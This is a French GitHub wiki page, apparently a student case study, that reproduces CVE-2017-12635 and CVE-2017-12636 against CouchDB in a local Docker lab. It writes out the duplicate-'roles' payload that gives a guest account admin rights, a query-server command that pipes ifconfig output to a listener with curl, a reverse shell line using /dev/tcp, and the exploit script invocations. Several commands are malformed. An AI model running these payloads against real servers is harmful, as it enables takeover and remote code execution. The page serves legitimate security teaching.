Skip to content
guillaume.clavel edited this page May 3, 2021 · 20 revisions

Welcome to the Etude_Faille_CVE_12635_12636 wiki!

Etude de cas dans le cadre du certificat SEOC 2020/2021

PoC de CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x <2.1.1) - Escalade de privilèges à distance réalisé par:

Etape 0 : Mise en place de l'environnement de travail

Travail sécurisé via une box Vagrant

viardots /ensimagsecu sur PC Ensimag via connection SSH

Téléchargement depot GITHUB depuis la machine virtuelle

https://github.com/Guillaumeclavel/Etude_Faille_CVE_12636
Telechargement /!\ Mise en place d'un dépôt public pour faciliter l'accès

Extraction et positionnement du répertoire de travail

Extraction de l'archive dans le repertoire Home Extract

Etape 1) Lancement du docker serveur "couchdb"

Via le docker-compose

Avec la ligne de commande suivante : docker-compose up
DockerCompose

Alternative en ligne de commande

Ici version 1.6.1, toujours sur le port 5984 docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1

Vérification de la création du serveur

  • Statut du container Status_Docker

  • Ou, en ligne de commande via CURL curl -X GET http://localhost:5984

    Retour du site
    Tuto Curl disponible ici -> https://curl.se/docs/httpscripting.html

  • Ou via l'interface "Futon" via le navigateur http://127.0.0.1:5984/_utils/

    Futon permet d’exploiter toutes les fonctionnalités de CouchDB et rend aisée l’utilisation des fonctionnalités avancées. À l’aide de Futon, nous pouvons créer et détruire des bases de données, consulter et éditer des documents, créer et parcourir les vues MapReduce et déclencher la réplication entre les bases de données. Pour accéder à Futon depuis votre navigateur web, allez sur :

    Futon

Etape 2 : Escalade de Privilege {Mise en en évidence de la faille 12635}

Vérification des bases de données créées:

curl -X GET http://localhost:5984/_all_dbs

Ligne de commande permettant de voir toutes les bases de données créées

Création d'une nouvelle base records:

curl -X PUT http://localhost:5984/records

Via la ligne de commande précédente, on peut voir que la BDD "records" a été créé

Mise en place de la configuration Base de donnée administrée:

curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
> Par défaut, pas de compte "admin". La ligne de de commande au dessus, active la création d'un administrateur avec le log : admin, mdp : admin

Creation d'une base sous cette nouvelle configuration :

  • Sans l'identification ADMIN : curl -X PUT http://localhost:5984/new_records

    Pas bon car par le bon compte utilisateur.

  • Avec l'identification ADMIN : curl -X PUT http://admin:admin@localhost:5984/new_records

    Ligne de commande fonctionnelle car utilisation du compte admin.

Démonstration l'escalade de privilège sous CouchDB 1.6.1

  • Ajout d'un nouvel utilisateur, sans droit particulier

    curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
    -H "Accept: application/json" \
    -H "Content-Type: application/json" \
    -d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'

    Exploitation de la Faille 12635 => 2 "roles" déclarés pour l'utilisateur guest avec le premier "_admin"

  • Tentative de suppression de la base de données créée précédement, sans identifiant :
    curl -X DELETE http://localhost:5984/new_records

    Ne fonctionne pas car pas de droit.

  • Tentative de suppression de la base de données, sous identification 'guest'
    curl -X DELETE http://guest:guest@localhost:5984/new_records

    La base de donnée est supprimée ! Le compte "guest" possède le "rôle" "admin !

Un utilisateur mal intentionné peut donc "outre passer" les restrictions souhaitées par l'administrateur
> Escalade de privilège

Etape 3 : A partir de ce nouveau privilège, exploitation de la faille 12636

L'objectif de cet exploit est de montrer que l'on peut lancer des commandes "shell", à partir du serveur "CouchDB".

On va chercher à mettre en évidence cette faille via 3 modes :

  1. Command Curl
  2. Script python, avec commande simple "ip" or "ifconfig"
  3. Script python avec tentative de shell reverse

###0) Principe de la Mise en place d'observateur :

  • Mécanisme recherché

On cherche à détourner une fonctionnalité de Couchdb, qui autorise la définition de son propre language pour générer ses fonctions de base de données NoSQL MAP/REDUCE. Le principe de la faille 12636 est de détourner cette fonctionnalité, pour déclarer des taches "shell", et les executer lors de l'appel à ces fonctions.
(javascript, coffeescript, cmd ==> Commande shell) Language_declaré Nous allons chercher à montrer que les commandes shell déclarées sont bien executées.

  • Console "CoucheDB" LogLevel info Dans la console de lancement de couchDB (via Docker-compose up, la configuration de lancement couchDB en mode logLevel=info, permet d'avoir un retour sur les requetes, et le fonctionnement interne du container " COuchDB" ecoute

  • Mise en place d'un Port pour l'écoute
    Sur un nouveau terminal, on lance la commande suivante:
    nc -lvvp 1420
    ecoute

    Ce nouveau terminal sera à l'écoute du port 1420 sur la machine virtuel.

  • Vérification de la configuration de notre VM
    Avec la commande : sudo netstat -tunlp
    SocketAnalyse

    On observe que le programme Python écoute le port 6080
    L'adresse locale 0.0.0.0:1420 est bien sur écoute protocole tcp et tcp6
    le docker contenant "couchDB" écoute sur le port 5984 ###1) Tentative via ligne de commande Curl

  • En ligne de commande CURL -X PUT xxx and CURL -X POST xxx
    - Creating a new database
    curl -X PUT 'http://127.0.0.1:5984/vultest
    - Adding some content
    curl -X PUT 'https://X.X.X.X:6984/vultest/vul' -d '{"_id":"770855a97726d5666d70a22173005c77"}
    - Remote code to execute as a language, the output will be shown in the remote server
    curl -X PUT 'http//://127.0.0.1:5984/_config/query_servers/cmd/-d \
    '"/sbin/ifconfig | curl http://127.0.0.0:1420 -d @-"'
    - Triggering the language to execute the remote code
    curl -X POST 'http://127.0.0.1/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}'

Reponse_CouchDB Pb de connection réseau ?!

Command_Curl
Envoyer via une commande shell l'information "ifconfig" sur l'adresse ip/port précisé --> On remarque que le commande, n'est pas comprise ###2) Tentative script PYTHON avec commande simple

  • On lance un terminal depuis code TerminalPython

  • On execute le script Python Exploit_12636 avec les arguments suivants :

    • --priv
    • -c "fonction" : fonction appelée dans la commande shell ici "ip"
    • l'host : l'adresse du serveur couchDB
      ==> la commande à lancer est la suivante :
      python3 Exploit_12636.py --priv -c "ip" http:\\localhost:5984

TerminalPython

On se place dans le repertoire suivant et on lance code . LancementPython

On voit que dans la fenetre de commande couchDB, la commande ip est excecutée, heureusement n'est pas transmis à l'IP attaquant ' ###3) Tentative script PYTHON avec une cible "reverse shell" Le principe du reserve shell est que l'assaillant est accès directement à une interface shell depuis son poste :

La commande shell suivante sur la machine host : sh -i >& /dev/tcp/0.0.0.0/1420 0>&1, ouvre un accès shell, avec des commandes déclarées depuis l'adresse IP /port déclaré (ici 0.0.0.0/1420), mais executé sur la machine host. Un assaillant ayant introduit cette commande sur un serveur, et écoutant l'adresse déclaré pourra lancer depuis son poste, tout type de comamnde. Exmple mis en place sur la VM : Reserve shell On lance la commande suivante depuis terminal "Code", ayant au préalable ouvert une fenetre commande écoutant le port 1420 python3 exp.py http://localhost:5984 1.6 127.0.0.1 1420 Reserve shell

Sur des fonctions simple IP par exemple

Clone this wiki locally